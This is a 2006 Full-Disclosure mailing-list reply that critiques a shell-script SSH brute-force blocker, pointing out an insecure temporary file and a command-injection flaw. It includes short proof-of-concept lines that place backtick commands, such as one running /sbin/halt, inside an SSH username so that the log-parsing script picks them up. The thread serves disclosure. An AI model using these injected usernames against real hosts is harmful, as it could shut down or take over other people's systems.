[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <20061127210231.GD6620@sdf.lonestar.org>
Date: Mon, 27 Nov 2006 21:02:31 +0000
From: Tavis Ormandy <taviso@...too.org>
To: "J. Oquendo" <sil@...iltrated.net>
Cc: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: SSH brute force blocking tool
On Mon, Nov 27, 2006 at 03:51:39PM -0500, J. Oquendo wrote:
> Tavis Ormandy wrote:
> >
> >Nice work, really subtle rootkit. I like the email phone-home.
> >
> >Here's an exploit.
> >
> >#!/bin/sh
> >ssh 'foo bar `/sbin/halt`'@...tim
> >
> >
>
> Since you seem to be clueless I'll answer step by step. Here goes idiot.
> (Sinful to see someone so clueless coming from Gentoo... Guess it goes
> with the romper room Linux territory)
> /////
> awk '/error retrieving/{getline;print $13}' /var/log/secure|sort -ru >>
> /tmp/hosts.deny
insecure temporary file creation, race condition if a user can create
that file between the unlink and the open.
$ ssh "error retrieving"@localhost & ssh '`0wn3d`'@...alhost
$ awk '/error retrieving/{getline;print $13}' /var/log/authlog
`0wn3d`
Oops.
Thanks, Tavis.
--
-------------------------------------
taviso@....lonestar.org | finger me for my pgp key.
-------------------------------------------------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists